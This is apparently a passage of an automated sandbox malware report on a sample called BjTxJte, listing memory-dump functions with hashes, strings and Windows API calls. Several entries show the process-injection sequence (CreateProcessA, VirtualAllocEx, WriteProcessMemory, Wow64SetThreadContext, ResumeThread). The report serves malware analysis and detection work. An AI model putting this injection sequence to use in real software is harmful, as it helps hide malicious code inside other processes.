Instruction Fuzzy Hash: 3DE18C70D1520ADFDB48EFA9C5818EEFBB2FF89300B11D159E815AB205D7349A42CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 06A50EF0 Relevance: 1.6, Strings: 1, Instructions: 302COMMON

Download Yara Rule

Strings

tIh, xrefs: 06A512A5

Memory Dump Source

Source File: 0000000E.00000002.1857264877.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6a50000_BjTxJte.jbxd

Similarity

API ID:
String ID: tIh
API String ID: 0-443931868
Opcode ID: 49087b83a7ceb83e34f1aa060d0ab5c839d31bea658d05126ae1ef9a0486afdb
Instruction ID: 8679064c5a68c89fe9f33c941aea91db738f5a286b32d01a6fa447a3c8c90ed3
Opcode Fuzzy Hash: 49087b83a7ceb83e34f1aa060d0ab5c839d31bea658d05126ae1ef9a0486afdb
Instruction Fuzzy Hash: 4CD15B70D1520ADFDB48DF9AC5858AEFBB2FF88300B11D559E815AB214D734EA42CF94

Uniqueness

Uniqueness Score: -1.00%

Function 06A543A0 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1857264877.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6a50000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b57552f51d39d800c0df45f73105eaebe2031493ec89cdbb38b0a7582c85dd2e
Instruction ID: 921bdcdd92e6e4b38a53f430154d58d715b6b06fda59084ab00965dbbc5ea013
Opcode Fuzzy Hash: b57552f51d39d800c0df45f73105eaebe2031493ec89cdbb38b0a7582c85dd2e
Instruction Fuzzy Hash: C7911770D15219DFDB48DFA5E68099DFBF2FB89300F20A42AE816BB224D7349945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 06A54391 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1857264877.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6a50000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da1a7854a3f2e336a3adf8953a051c056e88ef1eecc9848e768fe5664261dacc
Instruction ID: e9274bc7d175d0ee388bd232bbe04981fcf62cb9f3f02fe130cb92cd7e696c80
Opcode Fuzzy Hash: da1a7854a3f2e336a3adf8953a051c056e88ef1eecc9848e768fe5664261dacc
Instruction Fuzzy Hash: C0912670D15209EFDB48DFA5E68099DFBF2FB89300F20A42AE816B7264D7349945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 06A54088 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1857264877.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6a50000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3148af90cec65e59a7922dbde40a0305efbd0d88212bafb5c43cf40ab5302f4
Instruction ID: a8e24efed16d075a8e72f785be8ee04e00f0f76653a89e525dc42c895fb3f9cc
Opcode Fuzzy Hash: d3148af90cec65e59a7922dbde40a0305efbd0d88212bafb5c43cf40ab5302f4
Instruction Fuzzy Hash: 76811174E04219CFDB44DFAAD9809EEFBB1FB98300F20951AD911B7254D7389962CF94

Uniqueness

Uniqueness Score: -1.00%

Function 06A54078 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1857264877.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6a50000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f99818966c78d5ca44ad98db53789d160cb33c51f1af4c17066840dac1326d6
Instruction ID: 676b253125ded6076fb34cb3be970589036c3f943a3e8339b2e7bb27463fd1f9
Opcode Fuzzy Hash: 4f99818966c78d5ca44ad98db53789d160cb33c51f1af4c17066840dac1326d6
Instruction Fuzzy Hash: E6810175E04219CFDB44DFAAD9809EEBBB1FB98300F20991AD811B7254D7389962CF94

Uniqueness

Uniqueness Score: -1.00%

Function 06A50007 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1857264877.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6a50000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12b457b07bd071618bc992658ddb065cb4b947d4561d476fdd649b144954f567
Instruction ID: 713b8ff918991d934a96ca8d3266e1bbfd4d8933d829c8b8fd3b5d8f31a2b4a7
Opcode Fuzzy Hash: 12b457b07bd071618bc992658ddb065cb4b947d4561d476fdd649b144954f567
Instruction Fuzzy Hash: FB316F71D057848FD719CF6A8C502DABFF3AFCA300F19C1A6D408AB265DA780946CB51

Uniqueness

Uniqueness Score: -1.00%

Function 06A50040 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1857264877.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6a50000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcbb70883cc11238a6b6ac61079bcd60c12dd280f55fcba4c371bd89a2296071
Instruction ID: d409095308f94a22dc0f454c7d67f71a557ef54657368d17c54cb3f4ee9e9d57
Opcode Fuzzy Hash: dcbb70883cc11238a6b6ac61079bcd60c12dd280f55fcba4c371bd89a2296071
Instruction Fuzzy Hash: F721ED71E006188BDB58CFABD9442DEFBF3AFC8310F14C17AD908A6258DB741A45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 06EE3E4A Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1857503131.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ee0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17fd22b4b1fdb01d66a0a571d44831c95e6706a51c8e94f04953fcda97a8d2c6
Instruction ID: 9b47765291c6f095fe4d02200f42c66d99dea4fa9ef88b235ce08fabb5aebd6a
Opcode Fuzzy Hash: 17fd22b4b1fdb01d66a0a571d44831c95e6706a51c8e94f04953fcda97a8d2c6
Instruction Fuzzy Hash: 47C09226F8F308DAABC02C8578144FCF3BCD68F462F803062D21EA3992412082A685C8

Uniqueness

Uniqueness Score: -1.00%

Function 06A51530 Relevance: 2.6, Strings: 2, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

3H5, xrefs: 06A515C0
3H5, xrefs: 06A515CE

Memory Dump Source

Source File: 0000000E.00000002.1857264877.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6a50000_BjTxJte.jbxd

Similarity

API ID:
String ID: 3H5$3H5
API String ID: 0-2752242361
Opcode ID: c70508e03bd1a02970807bb0eb4866fb8d88939b9f05e44df587b8bb67480f35
Instruction ID: fd12d8930ebf51f82c5586e2b92796c9f329cbe8734340d8d7cbf508465ff83a
Opcode Fuzzy Hash: c70508e03bd1a02970807bb0eb4866fb8d88939b9f05e44df587b8bb67480f35
Instruction Fuzzy Hash: 5421FAB0D15209DFDB44DFA9D540AAEFBF1FF89300F24D56AD509A7214E7309A45CB81

Uniqueness

Uniqueness Score: -1.00%

Function 06EE13C5 Relevance: 1.7, APIs: 1, Instructions: 249
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 06EE1606

Memory Dump Source

Source File: 0000000E.00000002.1857503131.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ee0000_BjTxJte.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 1e0e8addcad4b65f86d084739629348dc8fa50d5709132e082191a9f69ea165f
Instruction ID: a04f5d0b46ba1a778fb916bafd9f56e88661baec378f4ec0f06cc9d91261bdef
Opcode Fuzzy Hash: 1e0e8addcad4b65f86d084739629348dc8fa50d5709132e082191a9f69ea165f
Instruction Fuzzy Hash: BEA14B71D1031ADFDB50DFA8C840BEDBBB2AF48314F1485AAE809A7290D7749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 06EE13D0 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 06EE1606

Memory Dump Source

Source File: 0000000E.00000002.1857503131.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ee0000_BjTxJte.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 8ce42aaa92fbe186dc83ead7073571299ad606b117586ae9e3bced40ef582d14
Instruction ID: 6be82567384bbde99b08822b1187c057b64d9bbed0c59fc8ce4474c17e52c55e
Opcode Fuzzy Hash: 8ce42aaa92fbe186dc83ead7073571299ad606b117586ae9e3bced40ef582d14
Instruction Fuzzy Hash: 7D914C71D10319DFDB50CFA8C841BEDBBB2BF48314F1485AAE809A7290DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0227DAF0 Relevance: 1.7, APIs: 1, Instructions: 196
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.1849013837.0000000002270000.00000040.00000800.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2270000_BjTxJte.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: ea2307780e2e6db94d21940bdfa1f8f4a524ade5132e4778f069291a304ec45a
Instruction ID: 8f527ba31bfd914e7d9665ff39420c3d32d70fa0ef7ff55c6c87e45d082f30fd
Opcode Fuzzy Hash: ea2307780e2e6db94d21940bdfa1f8f4a524ade5132e4778f069291a304ec45a
Instruction Fuzzy Hash: 16713470A14B068FD724DF6AD44079ABBF2FF88304F00892DD48AD7A54DB75E946CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06EE1231 Relevance: 1.6, APIs: 1, Instructions: 79
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 06EE12B8

Memory Dump Source

Source File: 0000000E.00000002.1857503131.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ee0000_BjTxJte.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 72d1ceb4b1914a62e99a4a05850b1085eadeb9eef2baadb3082da83a58b83089
Instruction ID: 56c9edd9689a4f5d4f12a595bdb68fb01e94f6f76492e0f5bf3a16fc332f2acf
Opcode Fuzzy Hash: 72d1ceb4b1914a62e99a4a05850b1085eadeb9eef2baadb3082da83a58b83089
Instruction Fuzzy Hash: BD3196B1C003489FCB10DFAAD845AEFBBF4BF49314F10842AE958A7241C7389544DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 06EE1140 Relevance: 1.6, APIs: 1, Instructions: 73
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 06EE11D8

Memory Dump Source

Source File: 0000000E.00000002.1857503131.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ee0000_BjTxJte.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: c8347f2791d607a76f3f6d7470479bf053722569b2adf12fb6aef96622d8ad1f
Instruction ID: e90e7abd84b09083863c934dc77076cb911728cc8a7a5d4ea04eb79e3898ba33
Opcode Fuzzy Hash: c8347f2791d607a76f3f6d7470479bf053722569b2adf12fb6aef96622d8ad1f
Instruction Fuzzy Hash: 1D2146B19003599FCB10DFA9C885BEEBBF5FF48314F10842AE959A7250C7789944CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 06EE0FA8 Relevance: 1.6, APIs: 1, Instructions: 69
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06EE102E

Memory Dump Source

Source File: 0000000E.00000002.1857503131.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ee0000_BjTxJte.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 25019843bffd887ad223c23bd19de20b1fe0a84aaae8f071b926db4d81cbd906
Instruction ID: 3587256bfadc0365a2a9892c21f462c19fb77332e156ef1b8a0b2595fea157b9
Opcode Fuzzy Hash: 25019843bffd887ad223c23bd19de20b1fe0a84aaae8f071b926db4d81cbd906
Instruction Fuzzy Hash: 762145B19003089FCB10DFAAC485BEFBBF5EF48324F10842AD459A7240DB789985CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06EE1148 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 06EE11D8

Memory Dump Source

Source File: 0000000E.00000002.1857503131.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ee0000_BjTxJte.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: eef869b1e1d7131eeb2c287ac54d7b65bef863a2f10d6bdc269616be1810c0c3
Instruction ID: 4539a6a73ce8b0b13c487354eecb1342f67767f5dfda999bc67d409713ec32cb
Opcode Fuzzy Hash: eef869b1e1d7131eeb2c287ac54d7b65bef863a2f10d6bdc269616be1810c0c3
Instruction Fuzzy Hash: C42127B19003599FCB10DFA9C985BDEBBF5FF48314F108429E958A7250C7789944CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 06EE0FB0 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06EE102E

Memory Dump Source

Source File: 0000000E.00000002.1857503131.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ee0000_BjTxJte.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: fc5b0bdc288635e0fa0b8ec2c3244a3a719b5a6a3fecb03d0eac4903581c45ff
Instruction ID: 31599a59b83bab451883fb30799a751cb7f048a6c6a690d7569942ca6b14049c
Opcode Fuzzy Hash: fc5b0bdc288635e0fa0b8ec2c3244a3a719b5a6a3fecb03d0eac4903581c45ff
Instruction Fuzzy Hash: 6E2149B1D003098FDB10DFAAC4857EEBBF4EF48324F10842AD459A7240D7789985CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 06EE1238 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 06EE12B8

Memory Dump Source

Source File: 0000000E.00000002.1857503131.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ee0000_BjTxJte.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: ff08f9dd345fe096ecc7297d7020ea6cd186ac9f3eaf101e94810f1efe93cedf
Instruction ID: d75453c312ed0f58e95fb183d2af3f7c2989999c6dcd05129986b132352cb4ac
Opcode Fuzzy Hash: ff08f9dd345fe096ecc7297d7020ea6cd186ac9f3eaf101e94810f1efe93cedf
Instruction Fuzzy Hash: 8A2128B19003599FCB10DFAAC845BDEFBF5FF48320F108429E558A7250C7349544DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 06EE1080 Relevance: 1.6, APIs: 1, Instructions: 58
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06EE10F6

Memory Dump Source

Source File: 0000000E.00000002.1857503131.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ee0000_BjTxJte.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 27073238c9afd6dc36b2d39c73985aeede9dfeda2cb3581807c9e2fc4279aa9d
Instruction ID: 5875d8f5e6ccfa86da51b6d1c18b3ec66bda452a995abcc9a50c1763fa042184
Opcode Fuzzy Hash: 27073238c9afd6dc36b2d39c73985aeede9dfeda2cb3581807c9e2fc4279aa9d
Instruction Fuzzy Hash: C21167758002489BCB20DFAAC805BDFFFF5EB48324F10841EE459A7210CB359584CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0227CEA8 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0227DDC1,00000800,00000000,00000000), ref: 0227DFB2

Memory Dump Source

Source File: 0000000E.00000002.1849013837.0000000002270000.00000040.00000800.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2270000_BjTxJte.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a280180a9f588effcaccd2518cfa01f4b95605c78485161913d7b6764165be51
Instruction ID: 3229660237065a5690db3d3da9d4871230ce2f25771f6004cc316b0624da1eb4
Opcode Fuzzy Hash: a280180a9f588effcaccd2518cfa01f4b95605c78485161913d7b6764165be51
Instruction Fuzzy Hash: E51142B69043098FDB10CF9AC444AEEFBF4EF88314F10842AE419B7200C774A544CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06EE1088 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06EE10F6

Memory Dump Source

Source File: 0000000E.00000002.1857503131.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ee0000_BjTxJte.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 7b6b18692e1483ccb7ad41a1ec1a04f4c57408699b4aa4ce805ac67d748f4995
Instruction ID: 08670e31f9cd285966ea36a175d8372882fb239ddc252513f447aadb57d408a8
Opcode Fuzzy Hash: 7b6b18692e1483ccb7ad41a1ec1a04f4c57408699b4aa4ce805ac67d748f4995
Instruction Fuzzy Hash: E91167718002489FCB10DFAAC845BDFBFF5EF88324F108419E519A7250C735A584CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 06EE0EF9 Relevance: 1.6, APIs: 1, Instructions: 52threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 06EE0F62

Memory Dump Source

Source File: 0000000E.00000002.1857503131.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ee0000_BjTxJte.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 5077ee0d22013d2e849f57efe6e3449779e89dba37b0cda16ae80119bd44b3a6
Instruction ID: 6f4dd1457c82d66db4f98805a00b5f216c6bda3e5ba72dd6e212c0debd8cd8fc
Opcode Fuzzy Hash: 5077ee0d22013d2e849f57efe6e3449779e89dba37b0cda16ae80119bd44b3a6
Instruction Fuzzy Hash: DC1146B19003488FCB20DFAAC4457DEFBF4EB88324F248419D459A7240CB79A544CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0227CE40 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,?,?,?,?,?,?,?,0227DB0C), ref: 0227DD46

Memory Dump Source

Source File: 0000000E.00000002.1849013837.0000000002270000.00000040.00000800.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2270000_BjTxJte.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 61a7beba7841cadaca963964f7794a364d771cb9dfea93ad4759ace49f0c2943
Instruction ID: e57eafd8f185d1a9009e01aeb0ba79b2784125b80ce2975a776811bc84c54cd6
Opcode Fuzzy Hash: 61a7beba7841cadaca963964f7794a364d771cb9dfea93ad4759ace49f0c2943
Instruction Fuzzy Hash: A7112DB68043498BDB10DF9AD544B9EFBF4AF89224F10842AE819B7210C378A545CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 06EE0F00 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 06EE0F62

Memory Dump Source

Source File: 0000000E.00000002.1857503131.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ee0000_BjTxJte.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: b47c8ea426d3b4256a8ca1357662a71797b8168993611f555590cf8e8d617e07
Instruction ID: d1cda90afbfe3581593fb6140ad9623f59ad5c06c70a8729b64cf2d0d561c961
Opcode Fuzzy Hash: b47c8ea426d3b4256a8ca1357662a71797b8168993611f555590cf8e8d617e07
Instruction Fuzzy Hash: FA1136B1D003488FCB20DFAAD4457EEFBF4EB88324F248429D459A7250CB79A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06A53A6C Relevance: 1.4, Strings: 1, Instructions: 154COMMON

Download Yara Rule

Strings

Te^q, xrefs: 06A55B39

Memory Dump Source

Source File: 0000000E.00000002.1857264877.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6a50000_BjTxJte.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: 502ccd70d24e17e613b8aa135381e4024672e2504c4755385d3db0ab626a4b09
Instruction ID: bbde381c13857bb5f0c3a12f5b5c876d0982000e2ee1d8009dcb30ff3ed327df
Opcode Fuzzy Hash: 502ccd70d24e17e613b8aa135381e4024672e2504c4755385d3db0ab626a4b09
Instruction Fuzzy Hash: 1C418F31B002158FCB15EFB998889AEBBF7EFC4360B258929E469DB351EB34DD058750

Uniqueness

Uniqueness Score: -1.00%

Function 06A536C0 Relevance: 1.3, Strings: 1, Instructions: 99COMMON

Download Yara Rule

Strings

O};5, xrefs: 06A53708

Memory Dump Source

Source File: 0000000E.00000002.1857264877.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6a50000_BjTxJte.jbxd

Similarity

API ID:
String ID: O};5
API String ID: 0-3558557551
Opcode ID: b236013bf4defc8abe6989f78bac2e6c24da8a84005fb3652ab85a3afc1b4309
Instruction ID: 81a963c23627c141360b5f0b4e6c12c3a78202b2f0c4c9d05a92dedefc27840e
Opcode Fuzzy Hash: b236013bf4defc8abe6989f78bac2e6c24da8a84005fb3652ab85a3afc1b4309
Instruction Fuzzy Hash: 41418BB0E24609EFDB88DF95D6858AEBFF1FF89200F61D495D445A7318E7309A11CB50

Uniqueness

Uniqueness Score: -1.00%

Function 06A536D0 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

O};5, xrefs: 06A53708

Memory Dump Source

Source File: 0000000E.00000002.1857264877.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6a50000_BjTxJte.jbxd

Similarity

API ID:
String ID: O};5
API String ID: 0-3558557551
Opcode ID: c69beb42391618f8c44153ec2434f9b2d9418b3e6df60b3a14d6e38a59b6fecd
Instruction ID: ff380a61cd264d6b45d43ef9eeee7158d5304408e2d409e605f9d6df961201a2
Opcode Fuzzy Hash: c69beb42391618f8c44153ec2434f9b2d9418b3e6df60b3a14d6e38a59b6fecd
Instruction Fuzzy Hash: 10416C70E24209EFDB88DF95D6858AEFFF1FF89240B61D895D405A7318E7309A11CB54

Uniqueness

Uniqueness Score: -1.00%

Function 06A5B271 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

Te^q, xrefs: 06A5B373

Memory Dump Source

Source File: 0000000E.00000002.1857264877.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6a50000_BjTxJte.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: 7f42913bfc3b57f72257af35f60c9bcd43a7a20315e6f2c6b83156c23a5c223f
Instruction ID: 4bfd9805b4eb37867a6cf5f50cffffc3a79554ac40b5ee41d237e0f76cec9a83
Opcode Fuzzy Hash: 7f42913bfc3b57f72257af35f60c9bcd43a7a20315e6f2c6b83156c23a5c223f
Instruction Fuzzy Hash: 0131B474E04608CFDB48DFA6C9556EEBBF6BF89301F20D02AD419AB358DB7459058B90

Uniqueness

Uniqueness Score: -1.00%

Function 06A5B280 Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

Te^q, xrefs: 06A5B373

Memory Dump Source

Source File: 0000000E.00000002.1857264877.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6a50000_BjTxJte.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: fde4509821b3e055a46172fd79005fd0a66474a6564d3d51b5b16c6d8461b15f
Instruction ID: c1db65e0f479af88c854404bb08db698c2d00e3c670a46f9268ae0d8d3fd191f
Opcode Fuzzy Hash: fde4509821b3e055a46172fd79005fd0a66474a6564d3d51b5b16c6d8461b15f
Instruction Fuzzy Hash: 1A31C574E04208CFDB48DFAAC9546EEFBF6BF89301F10D02AD819AB358DB7459058B90

Uniqueness

Uniqueness Score: -1.00%

Function 06A51520 Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

3H5, xrefs: 06A515CE

Memory Dump Source

Source File: 0000000E.00000002.1857264877.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6a50000_BjTxJte.jbxd

Similarity

API ID:
String ID: 3H5
API String ID: 0-3899204960
Opcode ID: 92b6147033b0852603f2ba287864409ea12c5290761cd77b5ff5dde334e5ebf2
Instruction ID: 9b93c91952d2bbe8b86ac1203fd6b36ee9059087b2375cdcd1e737c5f67b4c17
Opcode Fuzzy Hash: 92b6147033b0852603f2ba287864409ea12c5290761cd77b5ff5dde334e5ebf2
Instruction Fuzzy Hash: 5E21697091524ACFCB49DFA9C5806AEFBF1FF8A300F24C1AAD545AB251D7309A45CB81

Uniqueness

Uniqueness Score: -1.00%

Function 06A53A5C Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

Te^q, xrefs: 06A55963

Memory Dump Source

Source File: 0000000E.00000002.1857264877.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6a50000_BjTxJte.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: 62dd9764f0e5e59579a89879115e36ff8a06db8c164805d6a3e062f964e493df
Instruction ID: f703c3ff55eb55ecaba27ffc93bdd5bbd7af245b4b9ba8b6670370c64190e324
Opcode Fuzzy Hash: 62dd9764f0e5e59579a89879115e36ff8a06db8c164805d6a3e062f964e493df
Instruction Fuzzy Hash: CF113D71F1020A8BCB94EBB999505FEB6F2AFC4310B55447AD905EB244EF35CE05CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 06A5B3DF Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

Te^q, xrefs: 06A5B3EF

Memory Dump Source

